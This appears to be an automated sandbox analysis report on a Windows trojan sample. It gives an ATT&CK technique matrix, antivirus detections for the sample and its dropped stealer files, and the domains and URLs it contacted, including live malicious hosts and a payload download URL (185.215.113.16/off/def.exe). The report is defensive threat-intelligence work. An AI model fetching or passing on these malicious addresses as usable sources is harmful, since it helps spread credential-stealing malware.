Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002530001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002530001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse
dyna.wikimedia.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.65	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.142	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	142.250.185.110	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.193.140	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.97.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollmentextensions.webcompat.disabled_shims.Branch	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.o	firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001E.00000002.2521810701.0000018FC7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/insecureFallback	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2350694285.0000018FC04EA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2288118783.0000018FBF400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2289547467.0000018FBF640000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291102616.0000018FBF660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/valueRollout	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 0000001E.00000002.2517143514.0000018FC7BEA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/ZN	file.exe, 00000001.00000003.1427097864.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431861851.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 0000001E.00000002.2383407355.0000018FBB126000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000001E.00000002.2436259249.0000018FC129E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/jN2	file.exe, 00000001.00000003.1427097864.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438793852.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456148656.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1438646063.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541427353.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1456164253.0000000001202000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1541631972.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431861851.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.orghttps://monitor.firefox.comwidget.use-xdg-desktop-portalremoveTabsProgres	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/userDISCOVERY_STREAM_PREFS_SETUPDISCOVERY_STREAM_RECENT_SAVESAS_ROUTER_T	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0FD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2492014669.0000018FC78BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001E.00000003.2340535922.0000018FC0B32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/firefox/new_tab_learn_moreresource:///modules/UrlbarUtils.sys.mjsresource:///m	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/userDISCOVERY_STREAM_PREFS_SETUP	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	3cbc500e8f.exe, 0000000F.00000003.2467350845.0000000001790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001E.00000002.2521810701.0000018FC7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2470373720.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2347662686.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-04/schema#https://json-schema.org/draft/2020-12/schemahttp://json-schem	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.comchrome://browser/skin/menu.svgaccount-connection-disconnectednetwork.	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 0000001E.00000002.2387418053.0000018FBB2BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%shttps://outlook.live.com/default.aspx?rru=compose&	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	3cbc500e8f.exe, 0000000F.00000003.2321215309.000000000614D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://poczta.interia.pl/mh/?mailto=%sScheme	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2400990673.0000018FBCE32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.co.uk/	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/localizations/anyOf/0extensions.webcompat.disabled_shims.AdobeEveres	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceAddon	firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
